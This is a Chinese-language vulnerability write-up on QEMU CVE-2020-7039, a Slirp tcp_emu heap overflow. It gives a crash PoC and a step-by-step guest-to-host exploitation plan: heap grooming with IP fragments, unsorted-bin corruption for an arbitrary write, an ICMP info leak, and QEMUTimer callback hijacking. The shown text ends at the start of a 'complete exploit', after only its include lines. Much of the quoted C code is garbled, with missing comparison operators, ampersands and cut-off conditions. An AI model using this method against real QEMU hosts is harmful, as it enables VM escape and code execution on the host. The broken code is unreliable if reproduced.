网络攻防,QEMU-CVE-2020-7039

  • 作者:
  • 时间:2022-01-06 09:30:54
简介 网络攻防,QEMU-CVE-2020-7039

知识前置

Slirp模块

QEMU内部网络分为两部分:

提供给客户的虚拟网络设备(E1000 PCI网卡...).
与模拟NIC交互的网络后端(例如,将数据包放入主机的网络).

默认情况下,QEMU将为guest虚拟机创建Slirp用户网络后端和适当的虚拟网络设备(E1000 PCI网卡…) ,QEMU缺省使用"-net nic-net user"参数为客户机配置网络,提供了一种用户模式(user-mode)的网络模拟,Slirp实现了整个TCP/IP协议栈,并且使用这个协议栈提供一个虚拟的NAT网络,主要模拟了网络应用层协议,其中包括IP协议(V4和V6)、DHCP协议、ARP协议等。通过Slirp模块,用户模式的Guest主机可以连通Host主机及外部网络。

当前Guest主机中模拟的网关是 10.0.2.2,ifconfig上对应网卡是没显示的,但是访问网关确实可以访问到Host主机。

下面对Slirp模块中的一小部分代码进行分析:

相关结构体

// slirp/mbuf.h
struct mbuf {
    struct  mbuf *m_next;       /* Linked list of mbufs */
    struct  mbuf *m_prev;
    struct  mbuf *m_nextpkt;    /* Next packet in queue/record */
    struct  mbuf *m_prevpkt;    /* Flags aren't used in the output queue */
    int m_flags;                /* Misc flags */

    int m_size;                 /* Size of mbuf, from m_dat or m_ext */
    struct  socket *m_so;

    caddr_t m_data;             /* Current location of data */
    int m_len;                  /* Amount of data in this mbuf, from m_data */

    Slirp *slirp;
    bool    resolution_requested;
    uint64_t expiration_date;
    char   *m_ext;
    char    m_dat[];
};
  • m_data : 指向当前数据的地址

  • m_dat[]: 若传入的数据包不大,则数据存放在m_dat[]对应的数组中,首次分配mbuf结构体的时候,会将m_dat地址赋值给m_data指针

  • m_ext : 若传入的数据包太大,则会采用动态空间分配的方式存放数据,而申请的动态空间指针交给m_ext指针

  • m_len : 当前保存的数据总大小

  • m_size : 存放当前mbuf结构体大小

  • m_flags: 相关标志位,用于表示结构体相关状态,例如分配了动态空间管理数据,则会存在#define M_EXT 0x01字段

// slirp/ip.h

struct qlink {
    void *next, *prev;
};

struct ipasfrag {
    struct qlink ipf_link; // ip fragment double link
    struct ip ipf_ip;      // the ip header of fragment
};

此结构体,在IP分片函数ip_reass()中使用频繁,其中存在的双向链表结构串起了所有分片。

// slirp/ip.h
struct ipq {
    struct qlink frag_link;     /* to ip headers of fragments */
    struct qlink ip_link;         /* to other reass headers */
    uint8_t ipq_ttl;             /* time for reass q to live */
    uint8_t ipq_p;                 /* protocol of this fragment */
    uint16_t ipq_id;             /* sequence id for reassembly */
    struct in_addr ipq_src, ipq_dst;
};

此结构体,在ip_reass()中,用于管理所有的分片相同的属性的主结构,也是所有分片中双向链表的链表头。

Slirp模块中对IPV4数据包的处理

void slirp_input(Slirp *slirp, const uint8_t *pkt, int pkt_len)
{
    struct mbuf *m;
    int proto;

    if (pkt_len  ETH_HLEN) // 判断大小是否小于`Eth-Frame Header Len`
        return;

    proto = (((uint16_t)pkt[12])  8) + pkt[13]; // 获取`Eth-Frame`中 Type,作为switch的分支条件
    switch (proto) {
    case ETH_P_ARP:
        arp_input(slirp, pkt, pkt_len); // 若为ARP协议,则调用 arp_input 函数,进行处理
        break;
    case ETH_P_IP:
    case ETH_P_IPV6:
        m = m_get(slirp); // 申请空间分配一个mbuf结构体,并对slirp中相关联的值进行设置
        if (!m) return;
        /* Note: we add 2 to align the IP header on 4 bytes,
         * and add the margin for the tcpiphdr overhead  */
        if (M_FREEROOM(m)  pkt_len + TCPIPHDR_DELTA + 2) {
            m_inc(m, pkt_len + TCPIPHDR_DELTA + 2); // 若传入的数据包太大,超过0x608则会动态分配空间
        }
        m->m_len = pkt_len + TCPIPHDR_DELTA + 2;
        memcpy(m->m_data + TCPIPHDR_DELTA + 2, pkt, pkt_len); // 拷贝传入的数据包到m_data指针处

        m->m_data += TCPIPHDR_DELTA + 2 + ETH_HLEN; // 当前m_data指向数据包 Header,不是Eth-Frame Header
        m->m_len -= TCPIPHDR_DELTA + 2 + ETH_HLEN;

        if (proto == ETH_P_IP) { // IPV4 
            ip_input(m);
        } else if (proto == ETH_P_IPV6) { // IPV6
            ip6_input(m);
        }
        break;

    case ETH_P_NCSI:
        ncsi_input(slirp, pkt, pkt_len);
        break;

    default:
        break;
    }
}

假如此时去访问外界网络,比如执行apt-get update,则会向网卡发送数据,当通过网卡将数据封装为以太网帧后,则会在Slirp模块中调用slirp_input()函数对进一步处理。

void ip_input(struct mbuf *m)
{
    Slirp *slirp = m->slirp;
    register struct ip *ip;
    int hlen;

    if (!slirp->in_enabled) {
        goto bad;
    }

    if (m->m_len  sizeof(struct ip)) {
        goto bad;
    }

    ip = mtod(m, struct ip *); // 返回m_data,前面有提到,m_data指向了数据包的Header

    if (ip->ip_v != IPVERSION) {
        goto bad;
    }

    hlen = ip->ip_hl  2; // 左移两位则是IP Header实际大小
    if (hlen  sizeof(struct ip) || hlen > m->m_len) { // 检测Header len 是否合法
        goto bad; /* or packet too short */
    }

    if (cksum(m, hlen)) { // 第二次检测 checksum计算结果是否合法
        goto bad;
    }

    NTOHS(ip->ip_len); // 将ip_total_len从网络字节序列转换成主机字节序列
    if (ip->ip_len  hlen) { // 检测当前数据包的total len是否合法
        goto bad;
    }
    NTOHS(ip->ip_id);
    NTOHS(ip->ip_off);

    if (m->m_len  ip->ip_len) { // // 再次检测ip_total_len 和当前数据包对应的mbuf结构体之间是否合法
        goto bad;
    }

    if (m->m_len > ip->ip_len) // 如果m->m_len稍大,则调用m_adj函数对其进行修剪
        m_adj(m, ip->ip_len - m->m_len);

    /* check ip_ttl for a correct ICMP reply */
    if (ip->ip_ttl == 0) {
        icmp_send_error(m, ICMP_TIMXCEED, ICMP_TIMXCEED_INTRANS, 0, "ttl");
        goto bad;
    }

    // ip Header中 ip->ip_off最高三位对应FLAGS
    // FLAGS: 长度为 3Bit
    // 字段中第一位不使用
    // 第二位是DF(Don't Fragment),若为1,当前数据包不可分片
    // 第三位是MF(More Fragments),MF = 0 指最后一个分片
    if (ip->ip_off 
        struct qlink *l; // double link
        // 遍历slirp->ipq.ip_link双向链表,搜寻管理当前数据包具有相同id、源MAC地址和目的MAC地址、protocol的所有分片的双向链表头
        for (l = slirp->ipq.ip_link.next; l != 
             l = l->next) {
            fp = container_of(l, struct ipq, ip_link);
            if (ip->ip_id == fp->ipq_id 
        }
        fp = NULL; // if the fragment is first , so set fp == NULL
    found:

        ip->ip_len -= hlen; // 减去header len,剩下payload长度
        if (ip->ip_off 
        else
            ip->ip_tos 

        ip->ip_off = 3; // 获取当前分片的偏移

        if (ip->ip_tos 
            if (ip == NULL) // 若返回NULL,则直接return,此处后续漏洞利用有用到
                return;
            m = dtom(slirp, ip); // 若返回不为NULL, 则当前传入的分片应为最后一个分片,返回的ip指针则是第一个分片对应的指针,
                                 // 此处获取当前ip指针对应的mbuf结构体
        } else if (fp)
            ip_freef(slirp, fp);

    } else
        ip->ip_len -= hlen;

    // 以 protocol作为switch的分支条件
    switch (ip->ip_p) {
    case IPPROTO_TCP:
        tcp_input(m, hlen, (struct socket *)NULL, AF_INET);
        break;
    case IPPROTO_UDP:
        udp_input(m, hlen);
        break;
    case IPPROTO_ICMP:
        icmp_input(m, hlen);
        break;
    default:
        m_free(m);
    }
    return;
bad:
    m_free(m);
}

在slirp_input()函数中,对数据包简单处理,生成了对应的mbuf结构体,又在ip_input()函数中进一步处理,根据相关字段,判断是否分片,而分片函数(ip_reass)则是如下:

static struct ip *ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp)
{
    register struct mbuf *m = dtom(slirp, ip);
    register struct ipasfrag *q;
    int hlen = ip->ip_hl  2;
    int i, next;

    m->m_data += hlen; // m_data 也指向当前payload区域
    m->m_len -= hlen; 

    if (fp == NULL) { // fp作为所有分片的链表头,若为NULL,则表示当前分片是第一个分片
        struct mbuf *t = m_get(slirp); // 申请分配一个mbuf结构体,大小0x670

        if (t == NULL) {
            goto dropfrag;
        }
        fp = mtod(t, struct ipq *);
        insque( // 将当前生成的fp指针加入到slirp主结构管理的双向链表,此处用于在ip_input函数中对分片链表头查找有用
        fp->ipq_ttl = IPFRAGTTL;
        fp->ipq_p = ip->ip_p;
        fp->ipq_id = ip->ip_id;
        fp->frag_link.next = fp->frag_link.prev =  // 对当前链表头初始化指针,其余则是保存ip header相关数据
        fp->ipq_src = ip->ip_src;
        fp->ipq_dst = ip->ip_dst;
        q = (struct ipasfrag *)fp;
        goto insert;
    }
    // 如果传入是第二个往后的分片,则此处遍历fp->frag_link双向链表,寻找与传入的分片相近的分片的结构体指针
    for (q = fp->frag_link.next; q != (struct ipasfrag *)
         q = q->ipf_next)
        if (q->ipf_off > ip->ip_off)
            break;

    // 如果上述寻找到的结构体不是最后一个分片,则会对当前传人的分片进行修剪
    if (q->ipf_prev !=  // 上述寻找到的分片的前一个分片
        i = pq->ipf_off + pq->ipf_len - ip->ip_off; // 如果前一个分片 "偏移 + payload_len" > 当前传入的分片的偏移,则当前传入的分片需要向后移动
        if (i > 0) {
            if (i >= ip->ip_len)
                goto dropfrag;
            m_adj(dtom(slirp, ip), i);
            ip->ip_off += i;
            ip->ip_len -= i;
        }
    }
    // 此处是对当上述找到的结构体指针q之后的所有分片进行修剪,为传入的分片中的数据腾出空间
    while (q != (struct ipasfrag *) // 如果当前传入的分片 "偏移 + payload_len" > 后面一个分片 偏移,则后续的所有分片后移
        if (i  q->ipf_len) {
            q->ipf_len -= i;
            q->ipf_off += i;
            m_adj(dtom(slirp, q), i);
            break;
        }
        q = q->ipf_next;
        m_free(dtom(slirp, q->ipf_prev));
        ip_deq(q->ipf_prev);
    }
    // 最后,所有的分片的数据不会重叠存放

insert:
    // 将当前传入的分片关联进双向链表
    ip_enq(iptofrag(ip), q->ipf_prev);
    next = 0;
    // 检测前面的所有分片的payload_len 相加 是否 等于后一个分片的偏移,这里检测了所有的分片偏移不会重叠,长度也不会越界
    for (q = fp->frag_link.next; q != (struct ipasfrag *)
         q = q->ipf_next) {
        if (q->ipf_off != next)
            return NULL;
        next += q->ipf_len;
    }
    // 如果当前 存在  MF 字段,则分片未结束,将直接返回,而直接返回的结果则是,许多相关分配的动态空间不会被释放,那么这里则是一个malloc原语,可以用于分配空间,控制堆布局等等
    if (((struct ipasfrag *)(q->ipf_prev))->ipf_tos 

    // 若没有直接返回,即MF 字段为0,表示当前传入的分片是最后一个分片,下面则是将所有的分片拷贝到第一个分片对应的缓冲区中
    q = fp->frag_link.next;
    m = dtom(slirp, q);

    q = (struct ipasfrag *)q->ipf_next;
    while (q != (struct ipasfrag *)
        q = (struct ipasfrag *)q->ipf_next;
        m_cat(m, t); // 剪切后面的分片到第一个分片对应的缓冲区中
    }

    q = fp->frag_link.next; // 此处 fp->frag_link.next 为第一个分片对应的 "struct ipasfrag"结构体指针

    // 如果在m_cat过程中,拷贝的总数据大小超过第一个分片的mbuf结构能存放的极限,则会动态分配新的空间,并更新第一个分片的mbuf.m_ext指针
    // 当时 上述的 结构体指针q 还未更新指向新的缓冲区,所以检测到 M_EXT 字段,则重新获取一个指针q,令其指向新申请的缓冲区中
    if (m->m_flags 
        q = (struct ipasfrag *)(m->m_ext + delta);
    }

    ip = fragtoip(q); // "struct ipasfrag",此结构体,前0x10是双向链表指针,后面则是保存的分片的ip_header,返回值为 "q+0x10"
    ip->ip_len = next; // next是总数据长度,更新ip_total_len
    ip->ip_tos 
    ip->ip_src = fp->ipq_src;
    ip->ip_dst = fp->ipq_dst;
    remque(
    (void)m_free(dtom(slirp, fp));
    m->m_len += (ip->ip_hl  2);
    m->m_data -= (ip->ip_hl  2);

    return ip;

dropfrag:
    m_free(m);
    return NULL;
}

上述则是对IP包分片的过程,对传入的分片进行修剪,然后关联进对应的双向链表中进行管理,因为篇幅有限,只选择了Slirp对IPV4数据包的部分处理进行了简单的分析。

对此,Slirp会处理经过网卡处理后的数据,模拟数据包协议类型,进行管理与传输,然后再通过网卡发送给Host主机,通过Host主机访问目标。

漏洞分析与利用

漏洞简介

Description
A heap buffer overflow issue was found in the SLiRP networking implementation of the QEMU emulator. This flaw occurs in the tcp_emu() routine while emulating IRC and other protocols. An attacker could use this flaw to crash the QEMU process on the host, resulting in a denial of service or potential execution of arbitrary code with privileges of the QEMU process.

根据RedHat上对CVE的描述可知,当QEMU以 Slirp模块作为网络后端的时候,漏洞位于其中tcp_emu()函数模拟IRC协议的分支,下面我们直接定位到目标代码。

int tcp_emu(struct socket *so, struct mbuf *m)
{
    Slirp *slirp = so->slirp;
    unsigned n1, n2, n3, n4, n5, n6;
    char buff[257];
    uint32_t laddr;
    unsigned lport;
    char *bptr;
    switch (so->so_emu) {
        int x, i;
        case EMU_IRC:
        m_inc(m, m->m_len + 1); // 若 m->m_len + 1 不小于 M_ROOM(m),则会为输入的数据另外申请一段内存存放,并更新 mbuf结构体中的指针
        *(m->m_data + m->m_len) = 0; // 末尾置0
        if ((bptr = (char *)strstr(m->m_data, "DCC")) == NULL) // 从输入的数据中寻找DCC字符串作为起始指针
            return 1;
        // buff初始化是一个257字节大小的char数组
        // 通过上述寻找的指针后的字符串作为输入,对buff laddr lport 或者 n1 赋值
        if (sscanf(bptr, "DCC CHAT %256s %u %u", buff, 
            }
            m->m_len = bptr - m->m_data; // 当tcp_listen函数返回通过时,下面则是对原缓冲区中的数据进行更新,另外的两个分支都是类似的
            m->m_len += snprintf(bptr, m->m_size, "DCC CHAT chat %lu %u%c\n",
                                 (unsigned long)ntohl(so->so_faddr.s_addr),
                                 ntohs(so->so_fport), 1);
        } else if (sscanf(bptr, "DCC SEND %256s %u %u %u", buff, 
            }
            m->m_len = bptr - m->m_data; /* Adjust length */
            m->m_len +=
                snprintf(bptr, m->m_size, "DCC SEND %s %lu %u %u%c\n", buff,
                         (unsigned long)ntohl(so->so_faddr.s_addr),
                         ntohs(so->so_fport), n1, 1);
        } else if (sscanf(bptr, "DCC MOVE %256s %u %u %u", buff, 
            }
            m->m_len = bptr - m->m_data; /* Adjust length */
            m->m_len +=
                snprintf(bptr, m->m_size, "DCC MOVE %s %lu %u %u%c\n", buff,
                         (unsigned long)ntohl(so->so_faddr.s_addr),
                         ntohs(so->so_fport), n1, 1);
        }
        return 1;
        ......

漏洞点则是出在更新m->m_len的时候,此时会通过snprintf向原缓冲区中更新数据,而snprintf原型如下,第二个参数size是作为写入的数据最大字节,而漏洞位置的第二个参数则是m->m_size,此处没有对写回的数据长度进行检验,而是直接用了mbuf结构体中m->m_size作为长度限制,而在经过tcp_listen函数后,so->so_faddr.s_addr和so->so_fport都会被设置为不同于输入的整型数值,此处又通过snprintf写入到bptr指针中,若写入的数据超过bptr指针可写的长度,则会发生缓冲区溢出。

m->m_len += snprintf(bptr, m->m_size, "DCC CHAT chat %lu %u%c\n",
                             (unsigned long)ntohl(so->so_faddr.s_addr),
                             ntohs(so->so_fport), 1);

     int snprintf(char * restrict str, size_t size, const char * restrict format, ...);

下面再看看tcp_listen函数

struct socket *tcp_listen(Slirp *slirp, uint32_t haddr, unsigned hport,
                          uint32_t laddr, unsigned lport, int flags)
{
    /* TODO: IPv6 */
    struct sockaddr_in addr;
    struct socket *so;
    int s, opt = 1;
    socklen_t addrlen = sizeof(addr);
    memset(

    so = socreate(slirp); // 建立一个sokcet 结构体 so

    /* Don't tcp_attach... we don't need so_snd nor so_rcv */
    if ((so->so_tcpcb = tcp_newtcpcb(so)) == NULL) { // 初始化 so->so_tcpcb
        g_free(so);
        return NULL;
    }
    insque(so,  // 将当前的so指针关联进 slirp结构体中的tcb链中

    /*
     * SS_FACCEPTONCE sockets must time out.
     */
    if (flags 

      // 对建立的socket结构体赋值相关数据
    so->so_state 
    so->so_state |= (SS_FACCEPTCONN | flags);
    so->so_lfamily = AF_INET;
    so->so_lport = lport; /* Kept in network format */
    so->so_laddr.s_addr = laddr; /* Ditto */

    // 绑定监听 haddr 和 hport
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = haddr;
    addr.sin_port = hport;

    if (((s = slirp_socket(AF_INET, SOCK_STREAM, 0))  0) ||
        (slirp_socket_set_fast_reuse(s)  0) ||
        (bind(s, (struct sockaddr *) 0) ||
        (listen(s, 1)  0)) {
        int tmperrno = errno; /* Don't clobber the real reason we failed */

        if (s >= 0) {
            closesocket(s);
        }
        sofree(so);
        /* Restore the real errno */
#ifdef _WIN32
        WSASetLastError(tmperrno);
#else
        errno = tmperrno;
#endif
        return NULL;
    }
    // 对套接字 s 在SOL_SOCKET级上 设置 SO_OOBINLINE 选项以及在IPPROTO_TCP 级上设置 TCP_NODELAY 选项
    setsockopt(s, SOL_SOCKET, SO_OOBINLINE, 
    opt = 1;
    setsockopt(s, IPPROTO_TCP, TCP_NODELAY, 

      // 从套接字 s 获取 (struct sockaddr *)
    so->so_ffamily = AF_INET;
    so->so_fport = addr.sin_port;
    if (addr.sin_addr.s_addr == 0 ||
        addr.sin_addr.s_addr == loopback_addr.s_addr)
        so->so_faddr = slirp->vhost_addr;
    else
        so->so_faddr = addr.sin_addr;

    so->s = s;
    return so;
}

经过调试可知,在调用getsocketname()函数的时候,会对addr.sin_port进行赋值,因为传入的hport值为0,所以之前执行bind函数的时候,套接字s的端口是随机生成的一个两字节的值,且此时的addr.sin_addr.s_addr为0,所以在判断addr.sin_addr.s_addr == 0条件的时候,则会进入第一个分支,则上述snprintf函数写回的so->so_faddr.s_addr和so->so_fport两个变量 分别来自so->so_fport = addr.sin_port和so->so_faddr = slirp->vhost_addr ,addr.sin_port是一个两字节的值,经过ntohs转化,在snprintf输出的为十进制字符串的时候,大概率占据5个字节的数据,另外 slirp->vhost_addr始终为0x202000A,若输入的十进制值长度小于写回的十进制值长度,则会导致写回的数据比写入时候的数据更多,因此导致溢出。

POC

#include stdio.h>
#include stdlib.h>
#include stdbool.h>
#include unistd.h> 
#include assert.h>
#include string.h> 
#include sys/socket.h>
#include stdint.h>
#include netinet/in.h>
#include arpa/inet.h>
void errExit(char *string)
{
    perror(string);
    exit(EXIT_FAILURE);
}
int connect_with(char *ip,uint16_t port)
{

    int fd = socket(AF_INET,SOCK_STREAM, 0);
    if(fd  0){
        errExit("Socket");
    }
    struct sockaddr_in tcp_socket;
    tcp_socket.sin_family = AF_INET;
    tcp_socket.sin_port = htons(port);
    tcp_socket.sin_addr.s_addr = inet_addr(ip);

    if (connect(fd, (struct sockaddr *) 

    return fd;
}

int main()
{
    char *payload = calloc(1,0x1000);
    memset(payload,'F',0x1000);

    int fd = connect_with("10.0.2.2",6667);
    char s[0x30] = "DCC SEND TEST -1 -1 2333\0";
    memcpy(payload + 0x5B2 - strlen(s) ,s,strlen(s)); // 如果发送的数据 > 0x5B2,则会另外申请空间,在mbuf结构体中的m_ext指针指向申请的空间
    write(fd,payload,0x5B2);

}

通过gdb attach调试qemu进程,下断点在 slirp/src/tcp_subr.c:765,对当前 mbuf结构体的next chunk header 观察,可以发现在snprintf函数调用后,next chunk header被覆盖了,但是溢出的数据因为是%u和%lu格式化字符串,所以溢出的数据并不能控制为不可见字符串,而再观察snprintf函数的末尾,可以发现snprintf写回的字符串末尾存在一个"\x01\x0A",做过CTF Heap题的师傅们应该很容易就能想到覆盖unsorted bin chunk的size为0xA01令堆重叠,因此可以实现缓冲区溢出。

漏洞利用

IP Header

上述图为IP Header结构体,其中有Flags是描述当前IP包相关属性的标志字段;字段第一位不使用,字段第二位是DF(Don't Fragment)指明当前IP包是否可以分片,若当前DF字段为1,则当前数据包不可分片;字段第三位字是MF(More Fragments)指明当前是否为分片序列最后一个分片 ,为0则是最后一个分片,当最后一个分片发送出去,则Slirp模块则会对整个IP Packet的分片序列进行重组。

Malloc原语

void ip_input(struct mbuf *m)
{
    ......
    // ip Header中 ip->ip_off最高三位对应FLAGS
    // FLAGS: 长度为 3Bit
    // 字段中第一位不使用
    // 第二位是DF(Don't Fragment),若为1,当前数据包不可分片
    // 第三位是MF(More Fragments),MF = 0 指最后一个分片
    if (ip->ip_off 
        struct qlink *l; // double link

                // 遍历slirp->ipq.ip_link双向链表,搜寻管理当前数据包具有相同id、源MAC地址和目的MAC地址、protocol的所有分片的双向链表头
        for (l = slirp->ipq.ip_link.next; l != 
             l = l->next) {
            fp = container_of(l, struct ipq, ip_link);
            if (ip->ip_id == fp->ipq_id 
        }
        fp = NULL; // if the fragment is first , so set fp == NULL
    found:

        ip->ip_len -= hlen; // 减去header len,剩下payload长度
        if (ip->ip_off 
        else
            ip->ip_tos 
        ip->ip_off = 3; // 获取当前分片的偏移
        if (ip->ip_tos 
            if (ip == NULL) // 若返回NULL,则直接return,此处后续漏洞利用有用到
                return;

            m = dtom(slirp, ip); // 若返回不为NULL, 则当前传入的分片应为最后一个分片,返回的ip指针则是第一个分片对应的指针,
                                 // 此处获取当前ip指针对应的mbuf结构体

        } else if (fp)
            ip_freef(slirp, fp);
    } else
        ip->ip_len -= hlen;
......
}


static struct ip *ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp)
{
    ......
    // 如果当前 存在  MF 字段,则分片未结束,将直接返回,而直接返回的结果则是,许多相关分配的动态空间不会被释放,那么这里则是一个malloc原语,可以用于分配空间,控制堆布局等等
    if (((struct ipasfrag *)(q->ipf_prev))->ipf_tos 
    ......        
}

此处,若发送的IPV4数据包能够分片,即DF字段为0,且MF为1,则表示当前的IP包是可以进行分片的,分片函数则是ip_reass()。

ip = ip_reass(slirp, ip, fp);
            if (ip == NULL) // 若返回NULL,则直接return,此处后续漏洞利用有用到
                return;

若ip_reass函数返回值为NULL,则直接返回,表示分片未结束,而直接返回的结果则是相关申请的动态空间不会释放,当前分片数据包进入ip_input()函数之前,在slirp_input()会为其分配一个struct mbuf结构体,此结构体是没有被释放的,大小为0x670大小的chunk,且若此时为第一个分片。

if (fp == NULL) { // fp作为所有分片的链表头,若为NULL,则表示当前分片是第一个分片
        struct mbuf *t = m_get(slirp); // 申请分配一个mbuf结构体,大小0x670

当进入分片函数ip_reass()时,fp == NULL条件下,又会为其分配一个struct mbuf结构体用于管理分片的相关数据,同样为0x670大小的chunk,此结构体也是没有被释放的,所以这里能够当作是一个malloc原语使用,但是这些申请的大小又都是固定的,想要准确的控制堆布局,还需要可以控制动态空间申请的大小。

void slirp_input(Slirp *slirp, const uint8_t *pkt, int pkt_len)
{
......
    case ETH_P_IP:
    case ETH_P_IPV6:
        m = m_get(slirp); // 申请空间分配一个mbuf结构体,并对slirp中相关联的值进行设置
        if (!m) return;
        /* Note: we add 2 to align the IP header on 4 bytes,
         * and add the margin for the tcpiphdr overhead  */
        if (M_FREEROOM(m)  pkt_len + TCPIPHDR_DELTA + 2) {
            m_inc(m, pkt_len + TCPIPHDR_DELTA + 2); // 若传入的数据包太大,超过0x608则会动态分配空间
        }

又来到slirp_input()函数处,此时可以明确的知道,若处理的数据包数据大于M_FREEROOM(m) - TCPIPHDR_DELTA + 2,则会调用m_inc进行动态空间的分配,而此时的申请的动态空间可由我们的数据包的大小来控制,如果处于分片未结束状态,那么这段内存同样是不会被释放的,可以用它来进一步控制堆布局。

构造任意写

+------------+
            |            |
            | 1st packet |
            |            |
            +------------+ 
            |            |
            | 2nd packet |
            |            |
            +------------+ 
            |            |
            |   target   |
            |            |  
            +------------+
            |    padding | // 防止与 top chunk合并,虽然此处target 并没有被释放
            +------------+

通过堆喷清空了各种零零散散的堆块后,下面进行布局,首先在target之前需要构造一个unsorted bin chunk,为了后续对所有的包进行管理,所以上述发送的所有包,都是处于第一个分片状态的,而当每一个包发送的时候,除了会申请空间作为mbuf结构体外,在ip_reass中同样会申请一个0x670大小的chunk储存分片相关数据,所以 1st packet 和 2nd packet都占据 0x670 * 2大小的空间,此处发送 一个 MF = 0的分片完成2nd packet的IP包重组,那么则会释放2nd packet堆块得到一个0xCE0大小的堆块。

+------------+
            |            |
            | 1st packet |
            |            |
            +------------+ 
            | socket mbuf|
            +------------+ 
            |  ub chunk  | - unsorted bin chunk,socket mbuf切割后剩下0x670大小的空闲空间
            +------------+ 
            |            |
            |   target   |
            |            |  
            +------------+
            |    padding | // 防止与 top chunk合并,虽然此处target 并没有被释放
            +------------+

此时建立一个套接字,然后写入构造的payload到该套接字描述符中,则会先分配一个mbuf结构体用于管理此时的数据,则会切割0xCE0的unsorted bin chunk,并剩下一个0x670 大小 chunk 继续留在unsorted bin 中,通过漏洞点的snprintf即可修改此时的unsorted bin chunk header;但是仅仅修改是会触发ptmalloc的check机制的,而0xA00 0xCE0,所以修改size后的unsorted bin chunk的next chunk是位于target 的 m_dat数组中,那么可以在最开始申请target mbuf结构体的时候,在发送的数据中构造一个fake chunk header即可。

+------------+
        |            |
        | 1st packet |
        |            |
        +------------+ - start
        |  ub chunk  | - unsorted bin chunk,0xA00 + 0x670 大小
        +------------+ 
        |            |
        |   target   | - ending of unsorted bin chunk;因此unsorted bin chunk包括了target mbuf结构体
        |            |  
        +------------+
        |    padding | // 防止与 top chunk合并,虽然此处target 并没有被释放
        +------------+

当写入一次数据后,当前的socket mbuf结构体会被释放,与0xA00的unsorted bin chunk合并,此时unsorted bin chunk中会覆盖到target 的mbuf 结构体,而其中的m_data指针是我们想要控制的,但是直接申请0xA00大小的空间来进行修改,不能精确控制只修改m_data指针,所以此处我们再将1st packet所在的包释放,则此时unsorted bin chunk大小为0xA00 + 0x670 + 0x670*2。

+------------+ - start
    |            |
    |  ub chunk  | - unsorted bin chunk,0xA00 + 0x670 + 0x670 * 2大小
    |            |
    +------------+ 
    |            |
    |   target   | - ending of unsorted bin chunk;因此unsorted bin chunk包括了target mbuf结构体
    |            |  
    +------------+
    |    padding | // 防止与 top chunk合并,虽然此处target 并没有被释放
    +------------+

此时发送一个MF = 1、DF = 0的分片,写入数据包payload大小(0xA00 - 0x50),一共会切割unsorted bin chunk为四个部分,第一个部分0x670大小的chunk用于mbuf结构体,第二个0xA00大小的chunk用于数据包,第三个0x670大小的chunk用于ip_reass()函数中保存分片数据,最后剩下一个0x670大小的chunk,剩下的这个chunk则是覆盖了target mbuf的chunk,此时我们再发送一次另外的数据包用于劫持target mbuf结构体,而当前分片会申请unsorted bin chunk剩余的0x670大小的chunk作为管理分片的mbuf结构体,此时发送的数据会存放在m_dat数组中,因此可以对target mbuf结构体中m_data指针进行修改,之后则是继续向target 发送后续分片完成IP包重组,即可实现任意写的功能。

信息泄漏

信息泄漏的方法其实很简单,如果有复现过CVE-2019-6778 和 CVE-2019-14378的话,可以轻易实现。

根据CVE-2019-6778的泄漏思路,相关步骤如下

1、首先通过缓冲区溢出步骤,将m_data指针的低三位修改为0x000B00,然后修改后的地址中写入一个伪造的ICMP Header

2、设置target的数据包协议类型为ICMP,MF = 1、DF = 0并发送第一个分片,且发送数据长度足够,让它对应的mbuf结构体中m_len较大,此时IP包未完成重组

3、此时通过缓冲区修改上述target的m_data指针指向伪造的ICMP包的结束位置

4、完成target的IP重组,则结束ICMP请求,在发送最后一个分片之前建立一个套接字用于接收响应应答包

5、处理响应应答包中的数据,并获取程序基址和堆地址

程序流劫持

在QEMU程序中,存在一个数组main_loop_tlg,其是用于保存的struct QEMUTimerList结构体指针的数组。

// util/qemu-timer.c
struct QEMUTimerList {
    QEMUClock *clock;
    QemuMutex active_timers_lock;
    QEMUTimer *active_timers;
    QLIST_ENTRY(QEMUTimerList) list;
    QEMUTimerListNotifyCB *notify_cb;
    void *notify_opaque;
    /* lightweight method to mark the end of timerlist's running */
    QemuEvent timers_done_ev;
};

// include/qemu/timer.h

typedef void QEMUTimerCB(void *opaque);
struct QEMUTimer {
    int64_t expire_time;        /* in nanoseconds */
    QEMUTimerList *timer_list;
    QEMUTimerCB *cb;
    void *opaque;
    QEMUTimer *next;
    int attributes;
    int scale;
};

其中active_timers指针是一个QEMUTimer的结构体指针,而QEMUTimer结构体中存在一个函数指针QEMUTimerCB *cb,而调用该函数指针时,传入的第一个参数是void *opaque,因此可以控制参数。

static bool timer_expired_ns(QEMUTimer *timer_head, int64_t current_time)
{
    return timer_head = current_time);
}

bool timerlist_run_timers(QEMUTimerList *timer_list)
{
    ......
    while ((ts = timer_list->active_timers)) {
        if (!timer_expired_ns(ts, current_time)) {
            break;
        }
        ......
        /* remove timer from the list before calling the callback */
        timer_list->active_timers = ts->next;
        ts->next = NULL;
        ts->expire_time = -1;
        cb = ts->cb;
        opaque = ts->opaque;
        cb(opaque);
        progress = true;
    }
    ......
}

当expire_time为0的时候,即可触发调用,所以伪造QEMUTimer和QEMUTimerList结构体,并通过任意写令main_loop_tlg数组中的指针指向伪造的QEMUTimerList结构体,当程序流进入timerlist_run_timers时,则会判断expire_time == 0后对函数指针cb进行调用,又能控制参数。

总结

1、当前的Exp应该还没有公开Exp,虽然难度不高,但是我只在自己一个复现环境中利用成功过,不保证其他环境也能利用成功。

2、Slirp模块中我复现的几个洞都是差不多的类型,基本上都是缓冲区溢出造成的问题,剩下的信息泄漏和程序流劫持都是模版。

完整Exploit

#include stdio.h>
#include stdlib.h>
#include stdbool.h>
#include unistd.h>             // close()
#include assert.h>
#include string.h>             // strcpy, memset(), and memcpy()

#include netdb.h>              // struct addrinfo
#include sys/types.h>          // needed for socket(), uint8_t, uint16_t, uint32_t
#include sys/socket.h>         // needed for socket()
#include netinet/in.h>         // IPPROTO_RAW, IPPROTO_IP, IPPROTO_TCP, INET_ADDRSTRLEN
#include netinet/ip.h>         // struct ip and IP_MAXPACKET (which is 65535)
#include netinet/ip_icmp.h>    // struct icmp, ICMP_ECHO
#define __FAVOR_BSD              // Use BSD format of tcp header
#include netinet/tcp.h>         // struct tcphdr
#include arpa/inet.h>           // inet_pton() and inet_ntop()
#include sys/ioctl.h>           // macro ioctl is defined
#include bits/ioctls.h>         // defines values for argument "request" of ioctl.
#include net/if.h>              // struct ifreq
